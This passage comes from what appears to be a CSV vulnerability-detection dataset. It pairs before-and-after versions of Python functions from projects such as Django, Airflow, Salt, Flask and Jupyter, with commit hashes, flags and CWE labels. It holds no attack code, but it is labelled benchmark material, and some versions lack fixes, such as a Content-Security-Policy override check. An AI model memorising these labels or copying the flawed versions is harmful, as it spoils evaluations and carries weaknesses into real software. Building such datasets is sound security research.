        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-slug2').get_attribute('value')
        self.assertEqual(slug1, 'here-stacked-inline-2011-12-17')
        self.assertEqual(slug2, 'option-one-here-stacked-inline')

        # Add an inline
        self.selenium.find_elements_by_link_text('Add another Related Prepopulated')[0].click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-pubdate').send_keys('1999-01-25')
        self.get_select_option('#id_relatedprepopulated_set-1-status', 'option two').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-name').send_keys(' now you haVe anöther   sŤāÇkeð  inline with a very ... loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooog text... ')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-slug2').get_attribute('value')
        self.assertEqual(slug1, 'now-you-have-another-stacked-inline-very-loooooooo')  # 50 characters maximum for slug1 field
        self.assertEqual(slug2, 'option-two-now-you-have-another-stacked-inline-very-looooooo')  # 60 characters maximum for slug2 field

        # Tabular inlines ----------------------------------------------------
        # Initial inline
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-pubdate').send_keys('1234-12-07')
        self.get_select_option('#id_relatedprepopulated_set-2-0-status', 'option two').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-name').send_keys('And now, with a tÃbűlaŘ inline !!!')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-slug2').get_attribute('value')
        self.assertEqual(slug1, 'and-now-tabular-inline-1234-12-07')
        self.assertEqual(slug2, 'option-two-and-now-tabular-inline')

        # Add an inline
        self.selenium.find_elements_by_link_text('Add another Related Prepopulated')[1].click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-pubdate').send_keys('1981-08-22')
        self.get_select_option('#id_relatedprepopulated_set-2-1-status', 'option one').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-name').send_keys('a tÃbűlaŘ inline with ignored ;""&*^\%$#@-/`~ characters')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-slug2').get_attribute('value')
        self.assertEqual(slug1, 'tabular-inline-ignored-characters-1981-08-22')
        self.assertEqual(slug2, 'option-one-tabular-inline-ignored-characters')

        # Save and check that everything is properly stored in the database
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.wait_page_loaded()
        self.assertEqual(MainPrepopulated.objects.all().count(), 1)
        MainPrepopulated.objects.get(
            name=' this is the mAin nÀMë and it\'s awεšome',
            pubdate='2012-02-18',
            status='option two',
            slug1='main-name-and-its-awesome-2012-02-18',
            slug2='option-two-main-name-and-its-awesome',
        )
        self.assertEqual(RelatedPrepopulated.objects.all().count(), 4)
        RelatedPrepopulated.objects.get(
            name=' here is a sŤāÇkeð   inline !  ',
            pubdate='2011-12-17',
            status='option one',
            slug1='here-stacked-inline-2011-12-17',
            slug2='option-one-here-stacked-inline',
        )
        RelatedPrepopulated.objects.get(
            name=' now you haVe anöther   sŤāÇkeð  inline with a very ... loooooooooooooooooo',  # 75 characters in name field
            pubdate='1999-01-25',
            status='option two',
            slug1='now-you-have-another-stacked-inline-very-loooooooo',
            slug2='option-two-now-you-have-another-stacked-inline-very-looooooo',
        )
        RelatedPrepopulated.objects.get(
            name='And now, with a tÃbűlaŘ inline !!!',
            pubdate='1234-12-07',
            status='option two',
            slug1='and-now-tabular-inline-1234-12-07',
            slug2='option-two-and-now-tabular-inline',
        )
        RelatedPrepopulated.objects.get(
            name='a tÃbűlaŘ inline with ignored ;""&*^\%$#@-/`~ characters',
            pubdate='1981-08-22',
            status='option one',
            slug1='tabular-inline-ignored-characters-1981-08-22',
            slug2='option-one-tabular-inline-ignored-characters',
        )"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/hostkeys.py,0,"def __getitem__(self, key):
        ret = self.lookup(key)
        if ret is None:
            raise KeyError(key)
        return ret",,paramiko/paramiko,28218bf90b97451d3aba9d2c9ee01d87349a8886,"def __getitem__(self, key):
        ret = self.lookup(key)
        if ret is None:
            raise KeyError(key)
        return ret"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/sklearn/__init__.py,0,"def patched_predict(original, self, *args, **kwargs):
        """"""
        In `patched_predict`, register the prediction result instance with the run id and
         eval dataset name. e.g.
        ```
        prediction_result = model_1.predict(eval_X)
        ```
        then we need register the following relationship into the `_AUTOLOGGING_METRICS_MANAGER`:
        id(prediction_result) --> (eval_dataset_name, run_id)

        Note: we cannot set additional attributes ""eval_dataset_name"" and ""run_id"" into
        the prediction_result object, because certain dataset type like numpy does not support
        additional attribute assignment.
        """"""
        run_id = _AUTOLOGGING_METRICS_MANAGER.get_run_id_for_model(self)
        if _AUTOLOGGING_METRICS_MANAGER.should_log_post_training_metrics() and run_id:
            # Avoid nested patch when nested inference calls happens.
            with _AUTOLOGGING_METRICS_MANAGER.disable_log_post_training_metrics():
                predict_result = original(self, *args, **kwargs)
            eval_dataset = get_instance_method_first_arg_value(original, args, kwargs)
            eval_dataset_name = _AUTOLOGGING_METRICS_MANAGER.register_prediction_input_dataset(
                self, eval_dataset
            )
            _AUTOLOGGING_METRICS_MANAGER.register_prediction_result(
                run_id, eval_dataset_name, predict_result
            )
            return predict_result
        else:
            return original(self, *args, **kwargs)",,mlflow/mlflow,b470bcfb90d2c84f80cbd7e5a645cb85eee28eef,"def patched_predict(original, self, *args, **kwargs):
        """"""
        In `patched_predict`, register the prediction result instance with the run id and
         eval dataset name. e.g.
        ```
        prediction_result = model_1.predict(eval_X)
        ```
        then we need register the following relatinoship into the `_AUTOLOGGING_METRICS_MANAGER`:
        id(prediction_result) --> (eval_dataset_name, run_id)

        Note: we cannot set additional attributes ""eval_dataset_name"" and ""run_id"" into
        the prediction_result object, because certain dataset type like numpy does not support
        additional attribute assignment.
        """"""
        run_id = _AUTOLOGGING_METRICS_MANAGER.get_run_id_for_model(self)
        if _AUTOLOGGING_METRICS_MANAGER.should_log_post_training_metrics() and run_id:
            # Avoid nested patch when nested inference calls happens.
            with _AUTOLOGGING_METRICS_MANAGER.disable_log_post_training_metrics():
                predict_result = original(self, *args, **kwargs)
            eval_dataset = get_instance_method_first_arg_value(original, args, kwargs)
            eval_dataset_name = _AUTOLOGGING_METRICS_MANAGER.register_prediction_input_dataset(
                self, eval_dataset
            )
            _AUTOLOGGING_METRICS_MANAGER.register_prediction_result(
                run_id, eval_dataset_name, predict_result
            )
            return predict_result
        else:
            return original(self, *args, **kwargs)"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/cli/commands/test_dag_command.py,1,"def test_dag_test_with_custom_timetable(self, mock__get_or_create_dagrun):
        """"""
        when calling `dags test` on dag with custom timetable, the DagRun object should be created with
         data_intervals.
        """"""
        cli_args = self.parser.parse_args(
            [""dags"", ""test"", ""example_workday_timetable"", DEFAULT_DATE.isoformat()]
        )
        from airflow.example_dags.plugins.workday import AfterWorkdayTimetable

        with mock.patch.object(AfterWorkdayTimetable, ""get_next_workday"", return_value=DEFAULT_DATE):
            dag_command.dag_test(cli_args)
        assert ""data_interval"" in mock__get_or_create_dagrun.call_args.kwargs",CWE-703,apache/airflow,7796cdc7eeb3ff66fcee40a10e062ce4b6c08614,"def test_dag_test_with_custom_timetable(self, mock__get_or_create_dagrun):
        """"""
        when calling `dags test` on dag with custom timetable, the DagRun object should be created with
         data_intervals.
        """"""
        cli_args = self.parser.parse_args(
            [""dags"", ""test"", ""example_workday_timetable"", DEFAULT_DATE.isoformat()]
        )
        from airflow.example_dags.plugins.workday import AfterWorkdayTimetable

        with mock.patch.object(AfterWorkdayTimetable, ""get_next_workday"", side_effect=[DEFAULT_DATE]):
            dag_command.dag_test(cli_args)
        assert ""data_interval"" in mock__get_or_create_dagrun.call_args.kwargs"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/scan.py,0,"def object_offset(self, found, address_space):
        """""" This returns the offset of the object contained within
        this pool allocation.
        """"""

        ## The offset of the object is determined by subtracting the offset
        ## of the PoolTag member to get the start of Pool Object. This is done 
        ## because PoolScanners search for the PoolTag.
        return found - self.buffer.profile.get_obj_offset('_POOL_HEADER', 'PoolTag')",,volatilityfoundation/volatility,866e18c9a99450b85fbe87ebd9d038f96a0ca838,"def object_offset(self, found, address_space):
        """""" This returns the offset of the object contained within
        this pool allocation.
        """"""

        ## The offset of the object is determined by subtracting the offset
        ## of the PoolTag member to get the start of Pool Object. This is done 
        ## because PoolScanners search for the PoolTag.
        return found + self.buffer.profile.get_obj_size('_POOL_HEADER') - self.buffer.profile.get_obj_offset('_POOL_HEADER', 'PoolTag')"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/views.py,0,"def tree(self):
        dag_id = request.args.get('dag_id')
        blur = conf.getboolean('webserver', 'demo_mode')
        dag = dagbag.get_dag(dag_id)
        if not dag:
            flash('DAG ""{0}"" seems to be missing from DagBag.'.format(dag_id), ""error"")
            return redirect(url_for('Airflow.index'))

        root = request.args.get('root')
        if root:
            dag = dag.sub_dag(
                task_regex=root,
                include_downstream=False,
                include_upstream=True)

        base_date = request.args.get('base_date')
        num_runs = request.args.get('num_runs')
        if num_runs:
            num_runs = int(num_runs)
        else:
            num_runs = conf.getint('webserver', 'default_dag_run_display_number')

        if base_date:
            base_date = timezone.parse(base_date)
        else:
            base_date = dag.get_latest_execution_date() or timezone.utcnow()

        with create_session() as session:
            dag_runs = (
                session.query(DagRun)
                .filter(
                    DagRun.dag_id == dag.dag_id,
                    DagRun.execution_date <= base_date)
                .order_by(DagRun.execution_date.desc())
                .limit(num_runs)
                .all()
            )
        dag_runs = {
            dr.execution_date: alchemy_to_dict(dr) for dr in dag_runs
        }

        dates = sorted(list(dag_runs.keys()))
        max_date = max(dates) if dates else None
        min_date = min(dates) if dates else None

        tis = dag.get_task_instances(start_date=min_date, end_date=base_date)
        task_instances: Dict[Tuple[str, datetime], models.TaskInstance] = {}
        for ti in tis:
            task_instances[(ti.task_id, ti.execution_date)] = ti

        expanded = set()
        # The default recursion traces every path so that tree view has full
        # expand/collapse functionality. After 5,000 nodes we stop and fall
        # back on a quick DFS search for performance. See PR #320.
        node_count = 0
        node_limit = 5000 / max(1, len(dag.leaves))

        def encode_ti(ti: Optional[models.TaskInstance]) -> Optional[List]:
            if not ti:
                return None

            # NOTE: order of entry is important here because client JS relies on it for
            # tree node reconstruction. Remember to change JS code in tree.html
            # whenever order is altered.
            data = [
                ti.state,
                ti.try_number,
                None,  # start_ts
                None,  # duration
            ]

            if ti.start_date:
                # round to seconds to reduce payload size
                data[2] = int(ti.start_date.timestamp())
                if ti.duration is not None:
                    data[3] = int(ti.duration)

            return data

        def recurse_nodes(task, visited):
            nonlocal node_count
            node_count += 1
            visited.add(task)
            task_id = task.task_id

            node = {
                'name': task.task_id,
                'instances': [
                    encode_ti(task_instances.get((task_id, d)))
                    for d in dates
                ],
                'num_dep': len(task.downstream_list),
                'operator': task.task_type,
                'retries': task.retries,
                'owner': task.owner,
                'ui_color': task.ui_color,
            }

            if task.downstream_list:
                children = [
                    recurse_nodes(t, visited) for t in task.downstream_list
                    if node_count < node_limit or t not in visited]

                # D3 tree uses children vs _children to define what is
                # expanded or not. The following block makes it such that
                # repeated nodes are collapsed by default.
                if task.task_id not in expanded:
                    children_key = 'children'
                    expanded.add(task.task_id)
                else:
                    children_key = ""_children""
                node[children_key] = children

            if task.depends_on_past:
                node['depends_on_past'] = task.depends_on_past
            if task.start_date:
                # round to seconds to reduce payload size
                node['start_ts'] = int(task.start_date.timestamp())
                if task.end_date:
                    # round to seconds to reduce payload size
                    node['end_ts'] = int(task.end_date.timestamp())
            if task.extra_links:
                node['extra_links'] = task.extra_links
            return node

        data = {
            'name': '[DAG]',
            'children': [recurse_nodes(t, set()) for t in dag.roots],
            'instances': [
                dag_runs.get(d) or {'execution_date': d.isoformat()}
                for d in dates
            ],
        }

        form = DateTimeWithNumRunsForm(data={'base_date': max_date,
                                             'num_runs': num_runs})
        external_logs = conf.get('elasticsearch', 'frontend')

        # avoid spaces to reduce payload size
        data = htmlsafe_json_dumps(data, separators=(',', ':'))

        return self.render_template(
            'airflow/tree.html',
            operators=sorted({op.task_type: op for op in dag.tasks}.values(), key=lambda x: x.task_type),
            root=root,
            form=form,
            dag=dag,
            data=data,
            blur=blur, num_runs=num_runs,
            show_external_logs=bool(external_logs))",CWE-Unknown,apache/airflow,2c18a3f3b3208e7e7bfa0bdd4496dd6e727918a3,"def tree(self):
        dag_id = request.args.get('dag_id')
        blur = conf.getboolean('webserver', 'demo_mode')
        dag = dagbag.get_dag(dag_id)
        if not dag:
            flash('DAG ""{0}"" seems to be missing from DagBag.'.format(dag_id), ""error"")
            return redirect(url_for('Airflow.index'))

        root = request.args.get('root')
        if root:
            dag = dag.sub_dag(
                task_regex=root,
                include_downstream=False,
                include_upstream=True)

        base_date = request.args.get('base_date')
        num_runs = request.args.get('num_runs')
        if num_runs:
            num_runs = int(num_runs)
        else:
            num_runs = conf.getint('webserver', 'default_dag_run_display_number')

        if base_date:
            base_date = timezone.parse(base_date)
        else:
            base_date = dag.get_latest_execution_date() or timezone.utcnow()

        with create_session() as session:
            dag_runs = (
                session.query(DagRun)
                .filter(
                    DagRun.dag_id == dag.dag_id,
                    DagRun.execution_date <= base_date)
                .order_by(DagRun.execution_date.desc())
                .limit(num_runs)
                .all()
            )
        dag_runs = {
            dr.execution_date: alchemy_to_dict(dr) for dr in dag_runs
        }

        dates = sorted(list(dag_runs.keys()))
        max_date = max(dates) if dates else None
        min_date = min(dates) if dates else None

        tis = dag.get_task_instances(start_date=min_date, end_date=base_date)
        task_instances: Dict[Tuple[str, datetime], models.TaskInstance] = {}
        for ti in tis:
            task_instances[(ti.task_id, ti.execution_date)] = ti

        expanded = set()
        # The default recursion traces every path so that tree view has full
        # expand/collapse functionality. After 5,000 nodes we stop and fall
        # back on a quick DFS search for performance. See PR #320.
        node_count = 0
        node_limit = 5000 / max(1, len(dag.leaves))

        def encode_ti(ti: Optional[models.TaskInstance]) -> Optional[List]:
            if not ti:
                return None

            # NOTE: order of entry is important here because client JS relies on it for
            # tree node reconstruction. Remember to change JS code in tree.html
            # whenever order is altered.
            data = [
                ti.state,
                ti.try_number,
                None,  # start_ts
                None,  # duration
            ]

            if ti.start_date:
                # round to seconds to reduce payload size
                data[2] = int(ti.start_date.timestamp())
                if ti.duration is not None:
                    data[3] = int(ti.duration)

            return data

        def recurse_nodes(task, visited):
            nonlocal node_count
            node_count += 1
            visited.add(task)
            task_id = task.task_id

            node = {
                'name': task.task_id,
                'instances': [
                    encode_ti(task_instances.get((task_id, d)))
                    for d in dates
                ],
                'num_dep': len(task.downstream_list),
                'operator': task.task_type,
                'retries': task.retries,
                'owner': task.owner,
                'ui_color': task.ui_color,
            }

            if task.downstream_list:
                children = [
                    recurse_nodes(t, visited) for t in task.downstream_list
                    if node_count < node_limit or t not in visited]

                # D3 tree uses children vs _children to define what is
                # expanded or not. The following block makes it such that
                # repeated nodes are collapsed by default.
                if task.task_id not in expanded:
                    children_key = 'children'
                    expanded.add(task.task_id)
                else:
                    children_key = ""_children""
                node[children_key] = children

            if task.depends_on_past:
                node['depends_on_past'] = task.depends_on_past
            if task.start_date:
                # round to seconds to reduce payload size
                node['start_ts'] = int(task.start_date.timestamp())
                if task.end_date:
                    # round to seconds to reduce payload size
                    node['end_ts'] = int(task.end_date.timestamp())
            if task.extra_links:
                node['extra_links'] = task.extra_links
            return node

        data = {
            'name': '[DAG]',
            'children': [recurse_nodes(t, set()) for t in dag.roots],
            'instances': [
                dag_runs.get(d) or {'execution_date': d.isoformat()}
                for d in dates
            ],
        }

        form = DateTimeWithNumRunsForm(data={'base_date': max_date,
                                             'num_runs': num_runs})
        external_logs = conf.get('elasticsearch', 'frontend')

        # avoid spaces to reduce payload size
        data = htmlsafe_json_dumps(data, separators=(',', ':'))
        # escape slashes to avoid JSON parse error in JS
        data = data.replace('\\', '\\\\')

        return self.render_template(
            'airflow/tree.html',
            operators=sorted({op.task_type: op for op in dag.tasks}.values(), key=lambda x: x.task_type),
            root=root,
            form=form,
            dag=dag,
            data=data,
            blur=blur, num_runs=num_runs,
            show_external_logs=bool(external_logs))"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/chocolatey.py,0,"def install_gem(name, version=None, install_args=None, override_args=False):
    """"""
    Instructs Chocolatey to install a package via Ruby's Gems.

    name
        The name of the package to be installed. Only accepts a single argument.

    version
        Install a specific version of the package. Defaults to latest version
        available.

    install_args
        A list of install arguments you want to pass to the installation process
        i.e product key or feature list

    override_args
        Set to true if you want to override the original install arguments (for
        the native installer) in the package and use your own. When this is set
        to False install_args will be appended to the end of the default
        arguments

    CLI Example:

    .. code-block:: bash

        salt '*' chocolatey.install_gem <package name>
        salt '*' chocolatey.install_gem <package name> version=<package version>
        salt '*' chocolatey.install_gem <package name> install_args=<args> override_args=True
    """"""
    return install(
        name,
        version=version,
        source=""ruby"",
        install_args=install_args,
        override_args=override_args,
    )",,saltstack/salt,a02b6f0a06a5012311ea3de01615a7ebf597eedc,"def install_gem(name, version=None, install_args=None, override_args=False):
    """"""
    Instructs Chocolatey to install a package via Ruby's Gems.

    name
        The name of the package to be installed. Only accepts a single argument.

    version
        Install a specific version of the package. Defaults to latest version
        available.

    install_args
        A list of install arguments you want to pass to the installation process
        i.e product key or feature list

    override_args
        Set to true if you want to override the original install arguments (for
        the native installer) in the package and use your own. When this is set
        to False install_args will be appended to the end of the default
        arguments


    CLI Example:

    .. code-block:: bash

        salt '*' chocolatey.install_gem <package name>
        salt '*' chocolatey.install_gem <package name> version=<package version>
        salt '*' chocolatey.install_gem <package name> install_args=<args> override_args=True
    """"""
    return install(
        name,
        version=version,
        source=""ruby"",
        install_args=install_args,
        override_args=override_args,
    )"
,UNKNOWN,UNKNOWN,tests/test_templating.py,1,"def test_escaping():
    text = '<p>Hello World!'
    app = flask.Flask(__name__)
    @app.route('/')
    def index():
        return flask.render_template('escaping_template.html', text=text,
                                     html=flask.Markup(text))
    lines = app.test_client().get('/').data.splitlines()
    assert lines == [
        b'&lt;p&gt;Hello World!',
        b'<p>Hello World!',
        b'<p>Hello World!',
        b'<p>Hello World!',
        b'&lt;p&gt;Hello World!',
        b'<p>Hello World!'
    ]",CWE-703,pallets/flask,db09c6798eb4304aa3e6e937517bf94acd449c8f,"def test_escaping():
    text = '<p>Hello World!'
    app = flask.Flask(__name__)
    @app.route('/')
    def index():
        return flask.render_template('escaping_template.html', text=text,
                                     html=flask.Markup(text))
    lines = app.test_client().get('/').data.splitlines()
    assert lines == [
        b'&lt;p&gt;Hello World!',
        b'<p>Hello World!',
        b'<p>Hello World!',
        b'<p>Hello World!',
        b'&lt;p&gt;Hello World!',
        b'<p>Hello World!'
    ]"
,UNKNOWN,UNKNOWN,providers/tests/openlineage/plugins/test_execution.py,1,"def test_mid_stalled_task_is_killed_by_ol_timeout(self):
            self.setup_job(""execute_mid_stall"", ""test_mid_stalled_task_is_killed_by_openlineage"")
            events = get_sorted_events(tmp_dir)
            assert has_value_in_events(events, [""inputs"", ""name""], ""on-start"")
            assert not has_value_in_events(events, [""inputs"", ""name""], ""on-complete"")",CWE-703,apache/airflow,29ac934e0fb5d52b60e2d6309e153565b07bb661,"def test_mid_stalled_task_is_killed_by_ol_timeout(self):
            self.setup_job(""execute_mid_stall"", ""test_mid_stalled_task_is_killed_by_openlineage"")
            events = get_sorted_events(tmp_dir)
            assert has_value_in_events(events, [""inputs"", ""name""], ""on-start"")
            assert not has_value_in_events(events, [""inputs"", ""name""], ""on-complete"")"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/base/handlers.py,0,"def content_security_policy(self):
        """"""The default Content-Security-Policy header
        
        Can be overridden by defining Content-Security-Policy in settings['headers']
        """"""
        if 'Content-Security-Policy' in self.settings.get('headers', {}):
            # user-specified, don't override
            return self.settings['headers']['Content-Security-Policy']

        return '; '.join([
            ""frame-ancestors 'self'"",
            # Make sure the report-uri is relative to the base_url
            ""report-uri "" + self.settings.get('csp_report_uri', url_path_join(self.base_url, csp_report_uri)),
        ])",,jupyter/notebook,c64104257a62f1244a88826ba38552fe0183ead5,"def content_security_policy(self):
        """"""The default Content-Security-Policy header
        
        Can be overridden by defining Content-Security-Policy in settings['headers']
        """"""
        return '; '.join([
            ""frame-ancestors 'self'"",
            # Make sure the report-uri is relative to the base_url
            ""report-uri "" + self.settings.get('csp_report_uri', url_path_join(self.base_url, csp_report_uri)),
        ])"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/data/options/output_file_option.py,0,"def set_value(self, value):
        '''
        :param value: The value parameter is set by the user interface, which
        for example sends 'True' or 'a,b,c'

        Based on the value parameter and the option type, I have to create a nice
        looking object like True or ['a','b','c'].
        '''
        self._value = self.validate(value)",,andresriancho/w3af,5de0b8ee6a362a147c6e413e748dd42314c5e780,"def set_value(self, value):
        '''
        :param value: The value parameter is set by the user interface, which
        for example sends 'True' or 'a,b,c'

        Based on the value parameter and the option type, I have to create a nice
        looking object like True or ['a','b','c'].
        '''
        self._value = self.validate(value)"
,UNKNOWN,UNKNOWN,django/dispatch/saferef.py,1,"def safeRef(target, onDelete = None):
    """"""Return a *safe* weak reference to a callable target

    target -- the object to be weakly referenced, if it's a
        bound method reference, will create a BoundMethodWeakref,
        otherwise creates a simple weakref.
    onDelete -- if provided, will have a hard reference stored
        to the callable to be called after the safe reference
        goes out of scope with the reference object, (either a
        weakref or a BoundMethodWeakref) as argument.
    """"""
    if hasattr(target, '__self__'):
        if target.__self__ is not None:
            # Turn a bound method into a BoundMethodWeakref instance.
            # Keep track of these instances for lookup by disconnect().
            assert hasattr(target, '__func__'), """"""safeRef target %r has __self__, but no __func__, don't know how to create reference"""""" % (target,)
            reference = get_bound_method_weakref(
                target=target,
                onDelete=onDelete
            )
            return reference
    if callable(onDelete):
        return weakref.ref(target, onDelete)
    else:
        return weakref.ref(target)",CWE-703,django/django,83b9bfea44e23c5770fa14a8921914839929233b,"def safeRef(target, onDelete = None):
    """"""Return a *safe* weak reference to a callable target

    target -- the object to be weakly referenced, if it's a
        bound method reference, will create a BoundMethodWeakref,
        otherwise creates a simple weakref.
    onDelete -- if provided, will have a hard reference stored
        to the callable to be called after the safe reference
        goes out of scope with the reference object, (either a
        weakref or a BoundMethodWeakref) as argument.
    """"""
    if hasattr(target, '__self__'):
        if target.__self__ is not None:
            # Turn a bound method into a BoundMethodWeakref instance.
            # Keep track of these instances for lookup by disconnect().
            assert hasattr(target, '__func__'), """"""safeRef target %r has __self__, but no __func__, don't know how to create reference"""""" % (target,)
            reference = get_bound_method_weakref(
                target=target,
                onDelete=onDelete
            )
            return reference
    if callable(onDelete):
        return weakref.ref(target, onDelete)
    else:
        return weakref.ref( target )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/ebuildpkg.py,0,"def install(
    name=None,
    refresh=False,
    pkgs=None,
    sources=None,
    slot=None,
    fromrepo=None,
    uses=None,
    binhost=None,
    **kwargs
):
    """"""
    .. versionchanged:: 2015.8.12, 2016.3.3, 2016.11.0
        On minions running systemd>=205, `systemd-run(1)`_ is now used to
        isolate commands which modify installed packages from the
        ``salt-minion`` daemon's control group. This is done to keep systemd
        from killing any emerge commands spawned by Salt when the
        ``salt-minion`` service is restarted. (see ``KillMode`` in the
        `systemd.kill(5)`_ manpage for more information). If desired, usage of
        `systemd-run(1)`_ can be suppressed by setting a :mod:`config option
        <salt.modules.config.get>` called ``systemd.scope``, with a value of
        ``False`` (no quotes).

    .. _`systemd-run(1)`: https://www.freedesktop.org/software/systemd/man/systemd-run.html
    .. _`systemd.kill(5)`: https://www.freedesktop.org/software/systemd/man/systemd.kill.html

    Install the passed package(s), add refresh=True to sync the portage tree
    before package is installed.

    name
        The name of the package to be installed. Note that this parameter is
        ignored if either ""pkgs"" or ""sources"" is passed. Additionally, please
        note that this option can only be used to emerge a package from the
        portage tree. To install a tbz2 package manually, use the ""sources""
        option described below.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install <package name>

    refresh
        Whether or not to sync the portage tree before installing.

    version
        Install a specific version of the package, e.g. 1.0.9-r1. Ignored
        if ""pkgs"" or ""sources"" is passed.

    slot
        Similar to version, but specifies a valid slot to be installed. It
        will install the latest available version in the specified slot.
        Ignored if ""pkgs"" or ""sources"" or ""version"" is passed.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install sys-devel/gcc slot='4.4'

    fromrepo
        Similar to slot, but specifies the repository from the package will be
        installed. It will install the latest available version in the
        specified repository.
        Ignored if ""pkgs"" or ""sources"" or ""version"" is passed.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install salt fromrepo='gentoo'

    uses
        Similar to slot, but specifies a list of use flag.
        Ignored if ""pkgs"" or ""sources"" or ""version"" is passed.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install sys-devel/gcc uses='[""nptl"",""-nossp""]'


    Multiple Package Installation Options:

    pkgs
        A list of packages to install from the portage tree. Must be passed as
        a python list.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install pkgs='[""foo"",""bar"",""~category/package:slot::repository[use]""]'

    sources
        A list of tbz2 packages to install. Must be passed as a list of dicts,
        with the keys being package names, and the values being the source URI
        or local path to the package.

        CLI Example:

        .. code-block:: bash

            salt '*' pkg.install sources='[{""foo"": ""salt://foo.tbz2""},{""bar"": ""salt://bar.tbz2""}]'
    binhost
        has two options try and force.
        try - tells emerge to try and install the package from a configured binhost.
        force - forces emerge to install the package from a binhost otherwise it fails out.

    Returns a dict containing the new package names and versions::

        {'<package>': {'old': '<old-version>',
                       'new': '<new-version>'}}
    """"""
    log.debug(
        ""Called modules.pkg.install: %s"",
        {
            ""name"": name,
            ""refresh"": refresh,
            ""pkgs"": pkgs,
            ""sources"": sources,
            ""kwargs"": kwargs,
            ""binhost"": binhost,
        },
    )
    if salt.utils.data.is_true(refresh):
        refresh_db()

    try:
        pkg_params, pkg_type = __salt__[""pkg_resource.parse_targets""](
            name, pkgs, sources, **kwargs
        )
    except MinionError as exc:
        raise CommandExecutionError(exc)

    # Handle version kwarg for a single package target
    if pkgs is None and sources is None:
        version_num = kwargs.get(""version"")
        if not version_num:
            version_num = """"
            if slot is not None:
                version_num += "":{}"".format(slot)
            if fromrepo is not None:
                version_num += ""::{}"".format(fromrepo)
            if uses is not None:
                version_num += ""[{}]"".format("","".join(uses))
            pkg_params = {name: version_num}

    if not pkg_params:
        return {}
    elif pkg_type == ""file"":
        emerge_opts = [""tbz2file""]
    else:
        emerge_opts = []

    if binhost == ""try"":
        bin_opts = [""-g""]
    elif binhost == ""force"":
        bin_opts = [""-G""]
    else:
        bin_opts = []

    changes = {}

    if pkg_type == ""repository"":
        targets = list()
        for param, version_num in pkg_params.items():
            original_param = param
            param = _p_to_cp(param)
            if param is None:
                raise portage.dep.InvalidAtom(original_param)

            if version_num is None:
                targets.append(param)
            else:
                keyword = None

                match = re.match(""^(~)?([<>])?(=)?([^<>=]*)$"", version_num)
                if match:
                    keyword, gt_lt, eq, verstr = match.groups()
                    prefix = gt_lt or """"
                    prefix += eq or """"
                    # If no prefix characters were supplied and verstr contains a version, use '='
                    if len(verstr) > 0 and verstr[0] != "":"" and verstr[0] != ""["":
                        prefix = prefix or ""=""
                        target = ""{}{}-{}"".format(prefix, param, verstr)
                    else:
                        target = ""{}{}"".format(param, verstr)
                else:
                    target = ""{}"".format(param)

                if ""["" in target:
                    old = __salt__[""portage_config.get_flags_from_package_conf""](
                        ""use"", target
                    )
                    __salt__[""portage_config.append_use_flags""](target)
                    new = __salt__[""portage_config.get_flags_from_package_conf""](
                        ""use"", target
                    )
                    if old != new:
                        changes[param + ""-USE""] = {""old"": old, ""new"": new}
                    target = target[: target.rfind(""["")]

                if keyword is not None:
                    __salt__[""portage_config.append_to_package_conf""](
                        ""accept_keywords"", target, [""~ARCH""]
                    )
                    changes[param + ""-ACCEPT_KEYWORD""] = {""old"": """", ""new"": ""~ARCH""}

                if not changes:
                    inst_v = version(param)

                    # Prevent latest_version from calling refresh_db. Either we
                    # just called it or we were asked not to.
                    if latest_version(param, refresh=False) == inst_v:
                        all_uses = __salt__[""portage_config.get_cleared_flags""](param)
                        if _flags_changed(*all_uses):
                            changes[param] = {
                                ""version"": inst_v,
                                ""old"": {""use"": all_uses[0]},
                                ""new"": {""use"": all_uses[1]},
                            }
                targets.append(target)
    else:
        targets = pkg_params

    cmd = []
    if salt.utils.systemd.has_scope(__context__) and __salt__[""config.get""](
        ""systemd.scope"", True
    ):
        cmd.extend([""systemd-run"", ""--scope""])
    cmd.extend([""emerge"", ""--ask"", ""n"", ""--quiet""])
    cmd.extend(bin_opts)
    cmd.extend(emerge_opts)
    cmd.extend(targets)

    old = list_pkgs()
    call = __salt__[""cmd.run_all""](cmd, output_loglevel=""trace"", python_shell=False)
    if call[""retcode""] != 0:
        needed_changes = _process_emerge_err(call[""stdout""], call[""stderr""])
    else:
        needed_changes = []

    __context__.pop(""pkg.list_pkgs"", None)
    new = list_pkgs()
    changes.update(salt.utils.data.compare_dicts(old, new))

    if needed_changes:
        raise CommandExecutionError(
            ""Error occurred installing package(s)"",
            info={""needed changes"": needed_changes, ""changes"": changes},
        )

